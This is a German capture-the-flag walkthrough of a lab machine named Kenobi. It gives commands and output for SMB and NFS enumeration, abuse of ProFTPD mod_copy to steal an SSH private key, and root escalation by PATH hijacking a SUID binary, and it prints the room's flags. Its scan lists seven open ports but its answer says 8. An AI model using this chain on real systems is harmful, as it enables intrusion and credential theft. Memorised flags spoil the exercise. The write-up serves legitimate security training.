„Skill is the child of patience.“
Obi-Wan Kenobi in Star Wars: Obi-Wan & Anakin (Charles Soule)
Dieses Zitat beschreibt unseren Weg sehr gut. Nur wer geduldig ist und viel lernt wird mit Wissen und Können belohnt.
In diesem Raum geht es um einen Samba-Share und die Manipulation einer verwundbaren Version von proftpd, um root zu erhalten.
Task 1 Deploy the vulnerable machine
Frage 1:
Make sure you’re connected to our network and deploy the machine
Antwort 1:
Keine Antwort benötigt.
Frage 2:
Scan the machine with nmap, how many ports are open?
Eigentlich beginnt man immer mit Enumeration, legen wir also mit nmap los:
└─$ nmap DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-08 18:43 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.046s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
Antwort 2:
8
Task 2 Enumerating Samba for shares
Frage 1:
Using the nmap command above, how many shares have been found?
└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-08 18:47 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.047s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\DIE_IP_DEINER_MACHINE\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\DIE_IP_DEINER_MACHINE\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\1DIE_IP_DEINER_MACHINE\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
Dank unseres nmap Scans haben wir drei Shares gefunden: \IPC$, \anonymous und \print$.
Antwort 1:
3
Frage 2:
Once you’re connected, list the files on the share. What is the file can you see?
Der Lösungweg ist uns fast schon komplett vorgegeben, aber unter Windows sieht man den Inhalt eines Ordners mit „dir“ und nicht „ls“. Bei der Passwortabfrage drücken wir einfach ENTER, ohne etwas einzugeben:
└─$ smbclient //DIE_IP_DEINER_MACHINE/anonymous
Password for [WORKGROUP\user]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Sep 4 12:49:09 2019
.. D 0 Wed Sep 4 12:56:07 2019
log.txt N 12237 Wed Sep 4 12:49:09 2019
9204224 blocks of size 1024. 6877112 blocks available
Antwort 2:
log.txt
Frage 3:
What port is FTP running on?
Wir folgen der Anleitung und laden den Inhalt des Verzeichnis herunter (der Inhalt wird im User Verzeichnis gespeichert). Dann öffnen wir die log.txt Datei und suchen nach dem FTP-Port (STRG+F). Hier ist nur de relevante Ausschnitt, da die Datei viel zu groß ist:
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
Antwort 3:
21
Frage 4:
What mount can we see?
Wir folgen der Anleitung und führen den nmap Scan aus:
└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-08 20:13 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.048s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
Antwort 4:
/var
Task 3 Gain initial access with ProFtpd
Frage 1:
Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.
What is the version?
Wir stellen eine Verbindung mit Netcat her, indem wir nach nc die IP der Machine angeben und den vorhin ermittelten Port (21):
└─$ nc DIE_IP_DEINER_MACHINE 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [DIE_IP_DEINER_MACHINE]
Antwort 1:
1.3.5
Frage 2:
How many exploits are there for the ProFTPd running?
Wir können searchsploit benutzen (wie angegeben) oder wir suchen direkt auf der Exploit Database, das bleibt euch überlassen. Wir folgen hier weiter der Anleitung:
└─$ searchsploit proftpd 1.3.5
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Searchsploit liefert und 4 Ergebnisse.
Antwort 2:
4
Die nächsten beiden Antworten benötigen keine Eingabe und beinhalten auch keine wirklichen Fragen. Man soll nur dem Ablauf folgen. Hier wird der Exploit des mod_copy Moduls ausgenutzt, der uns mit dem Befehlen SITE CPFR und SITE CPTO Dateien und Verzeichnisse beliebig kopieren lässt. Wir folgen nun der Anleitung:
└─$ nc DIE_IP_DEINER_MACHINE 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [DIE_IP_DEINER_MACHINE]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
Zuersterstellen wir ein Verzeichnis auf unserem Rechner, damit wir das kopierte Verzeichnis der Machine mounten können:
sudo mkdir /mnt/kenobiNFS
Danach mounten wir das kopierte Verzeichnis der Machine auf unserem Rechner:
sudo mount 10.10.72.64:/var /mnt/kenobiNFS
Jetzt lassen wir uns den Inhalt anzeigen (-la zeigt auch versteckte Inhalte):
└─$ ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Jul 8 20:36 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail
drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 30 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Jul 8 20:33 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
Es hat also geklappt. Jetzt holen wir uns den privaten rsa-key, um uns als Kenobi auf der Machine einloggen zu können. Zuerst müssen wir die Datei in unser aktives Verzeichnis kopieren (der Punkt am Ende des Befehls). Es funktionieren natürlich auch andere Verzeichnisse, hier bleiben wir aber einfach:
cp /mnt/kenobiNFS/tmp/id_rsa .
Jetzt müssen wir die Datei les- und schreibbar machen:
sudo chmod 600 id_rsa
Nun können wir die Datei zum einloggen benutzen:
└─$ ssh -i id_rsa kenobi@DIE_IP_DEINER_MACHINE
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
Frage 3:
What is Kenobi’s user flag (/home/kenobi/user.txt)?
Dazu lassen wir uns den Inhalt anzeigen:
kenobi@kenobi:~$ cat /home/kenobi/user.txt
d0b0f3f53b6caa532a83915e19224899
Antwort 3:
d0b0f3f53b6caa532a83915e19224899
Task 4 Privilege Escalation with Path Variable Manipulation
Die Eskalation durch SUID und SGID sind uns nicht neu und wir fahren hier in bekannten Gewässern. Folgen wir also der Anleitung und suchen wir Dateien, die wir mit den Rechten des Besitzers der Datei ausführen können:
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
Frage 1:
What file looks particularly out of the ordinary?
Mit menu Dateien kann man einiges anstelle. Hier kann man mehr dazu lesen.
Antwort 1:
/usr/bin/menu
Frage 2:
Run the binary, how many options appear?
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
Antwort 2:
3
Jetzt geht die Anleitung etwas verwirrend direkt zu dem „strings“ Befehl. Dieser Befehl zeigt uns menschlich lesbaren Code in Dateien. Hier lassenw ir uns die strings der /usr/bin/menu anzeigen und sehen gleich was es mit der (etwas kryptischen) Anleitung aufsich hat:
kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
__stack_chk_fail
printf
system
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-`
AWAVA
AUATL
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
Invalid choice
--snip--
Hier sehen wir welches Programm für die jeweilige Auswahl ausgeführt wird.
1. status check > curl -I localhost
2. kernel version > uname -r
3. ifconfig > ifconfig
Das schöne ist, dass die Programme nicht mit kompletter Pfadangabe erwähnt sind (z.B. curl anstelle von /usr/bin/curl). Da diese Dateien mit root Rechten ausgeführt werden, machen wir uns das jetzt zu Nutzen.
Zuerst wechseln wir, wie in der Anleitung, in das /tmp Verzeichnis:
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$
Nun kopieren wir die Shell in eine neue Datei mit dem Namen „curl“:
echo /bin/sh > curl
Jetzt geben wir der Datei die benötigten Rechte:
chmod 777 curl
Und setzen den Pfad neu:
export PATH=/tmp:$PATH
Abschließend führen wir wieder /usr/bin/menu Datei aus und währel Option 1 (diese hatte „curl“ hinterlegt):
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
Da unsere neue curl Datei mit root Rechten ausgeführt wird, wird die Shell automatisch als root User gestartet.
Frage 3:
What is the root flag (/root/root.txt)?
# cat /root/root.txt
177b3cd8562289f37382721c28381f02
#
Antwort 3:
177b3cd8562289f37382721c28381f02
Der vorletzte Raum des Complete Beginner Paths ist nun geschafft und wir wagen uns an den letzten Raum. Bald haben wir das Zertifikat des Complete Beginner Paths und diese lange Reise erfolgreich gemeistert!